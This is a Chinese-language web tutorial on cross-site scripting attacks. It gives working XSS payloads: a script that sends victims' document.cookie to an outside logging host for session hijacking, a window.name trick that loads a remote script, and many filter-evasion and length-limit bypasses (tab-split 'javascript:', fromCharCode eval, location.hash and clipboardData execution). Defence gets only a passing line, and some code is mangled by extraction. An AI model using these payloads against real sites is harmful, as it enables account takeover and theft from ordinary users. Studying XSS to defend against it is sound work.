XSS跨站脚本攻击初探 - 网站安全

XSS跨站脚本攻击初探 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] XSS跨站脚本攻击的基本原理和SQL 注入攻击类似（个人观点），都是利用系统执行了未经过滤的危险代码，不同点在于XSS是一种基于网页脚本的注入方式，也就是将脚本攻击载荷写入网页...

XSS跨站脚本攻击的基本原理和SQL 注入攻击类似（个人观点），都是利用系统执行了未经过滤的危险代码，不同点在于XSS是一种基于网页脚本的注入方式，也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的，属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库，从而进一步探测、操纵数据库信息。属于服务器攻击？（菜鸟看法）。

XSS攻击前奏（XSS bug 检测）

　　1、最常见的最经典的XSS bug检测语句必然是

　　<script>alert(/XSS/)</script> ①

　　比如在存在XSS bug的留言板上写上留言①,当访问留言板网页时会弹出对话框:

这表明我们输入的语句被原样写入的网页并被浏览器执行了.那么我们就有机会执行我们的脚本攻击载荷:

在我们的网络空间www.2cto.com 上的xssbug.js代码可以是

Var img = document.createElement(“img”);

Img.src = “http://www.labsecurity.org/log?”+escape(document.cookie);

document.body.appendChild(img);

如果我们如上代码顺利执行,那么被攻击者在目标网站的登录cookie就写进了log.得到其cookie后,进行浏览器重新发包就可以以被攻击者身份登录目标网站.(被攻击者可以是普通用户也可以使网站超级管理员).

　　将窃取cookie的代码换成下载者地址就可以将下载者下载到存在下载者攻击漏洞的用户电脑上.

　　也可以将代码换成目标用户在网站上的某些操作的数据包脚本.促使在不知情的情况下”自愿”进行某些操作.

　　对于Cookie窃取的防御可以使ＩＰ绑定等方案了．

　　既然存在ＸＳＳ攻击那么程序员在开发时必然会进行某些危险关键字的过滤，以及限制用户的输入长度．这样即使存在ｘｓｓ漏洞．Ｈａｃｋ也只能检测，却不能够写入攻击载荷（长度限制啊）．

　　利用IMG图片标记属性跨站

当然也可以像上面所说的在留言板中输入

这所说的不是这样是在用户上传图片时将图片路径修改为一段可执行的XSS测试脚本.

如果存在XSS漏洞那么此类脚本就会被执行.这类脚本要闭合双引号”>”等.

　　利用DIV标签属性跨站

　　利用已知事件攻击

移动特效字<marquee>文字</marquee>

　　B.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>

　　构造事件

常用的事件构造

突破程序员的过滤限制

　　利用javascript换行与空格突破过滤

　　<img src = j ava script:al er t(/XSS/)>///空格使用Tab键产生

　　<img src = j

　　ava script :a ler t(/xss/)>

　　利用注释<img src = “#”/**/onerror = alert(/XSS/)>

　　转代码,绕过滤

　　使用大小写转换绕过过滤

　　使用进制编码

　　空格回车符

　　JS 还原函数法

　　String.fromCharCode()可以将ASCII编码还原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....))

突破长度限制

注释符闭合相邻的输入框达到合并的目的

这样我们可以在第一个框中输入”>alert<!--

在第二个输入框中输入--><script>(/XSS/);</script>

这样效果就是

<input id = 1 type = “text” value=”” <script>alert(/XSS/)</script>”/>

使用<base>标签进行相对路径劫持

<body>

<body>

当我们没有使用base标签时evil.js是调用的服务器根目录下的evil.js脚本文件.当我们使用<base>脚本后.那么在此标签后的所有相对路径为我们设置的网站.

因此可以先使用<base>脚本劫持,然后再写入<img src=”xxx.js”>突破长度限制.

使用window.name进行字符串传递

在我们自己的构造的页面中写入如下代码

Window.name=”<script src=http://www.labsecurity.org/xss.js><script>”

Window.location=”http://www.xxxx.com/xxx.asp”

</script>

当我们跳转到目标网页时我们的window.name值为我们设置的跨站脚本语句.

因此我们可以使用eval(name)进行跨站攻击.

利用上下文扩展长度

<div id="x">alert%28document.cookie%29%3B</div>

<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

上文是不限制长度的安全数据,那么我们就可以在下文中使用此安全数据.进行XSS攻击突破长度.

5.利用URL 中的数据

如果页面里不存在上一节所说的可控HTML 上下文数据怎么办？有些数据是我们无条件可控的，第一个想到的就是URL，通过在URL 的尾部参数构造要执行的代码，然后在XSS点通过

document.URL/location.href 等方式获得代码数据执行，这里假设代码从第80 个字符开始到

最后：

--code-------------------------------------------------------------------------

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>

长度：30

<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>

长度：31

上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅Javascript 手册

的String 的方法可以发现，切割字符串有一个更短的函数slice，5 个字符比substr 还要短一个字符：

<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>

长度：29

<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>

长度：30

那么还有没有办法更短呢？答案是YES，查阅一下MSND 里的location 对象的参考你会发现有个hash 成员，获取#之后的数据，那么我们可以把要执行的代码放在#后面，然后通过hash获得代码执行，由于获得的数据是#开头的，所以只需要slice 一个字符就可以拿到代码：

http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

长度：29

这样比上面的例子又少了一个字符。那么还可以更短么？

6.剪切板clipboardData

攻击者在自己域的页面上通过clipboardData 把Payload 写入剪切板，然后在被XSS 页面获取并执行该数据。攻击者构造的页面：

--code-------------------------------------------------------------------------

clipboardData.setData("text", "alert(document.cookie)");

</script>

-------------------------------------------------------------------------------

被XSS 的页面：

--code-------------------------------------------------------------------------

<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>

-------------------------------------------------------------------------------

长度：36

这种方式只适用于IE 系列，并且在IE 7 及以上版本的浏览器会有安全提示

SiteMan Cms 漏洞&利用技巧分享 - 网站安全 - 自学

Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析 - 网

子栏目

XSS跨站脚本攻击初探 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论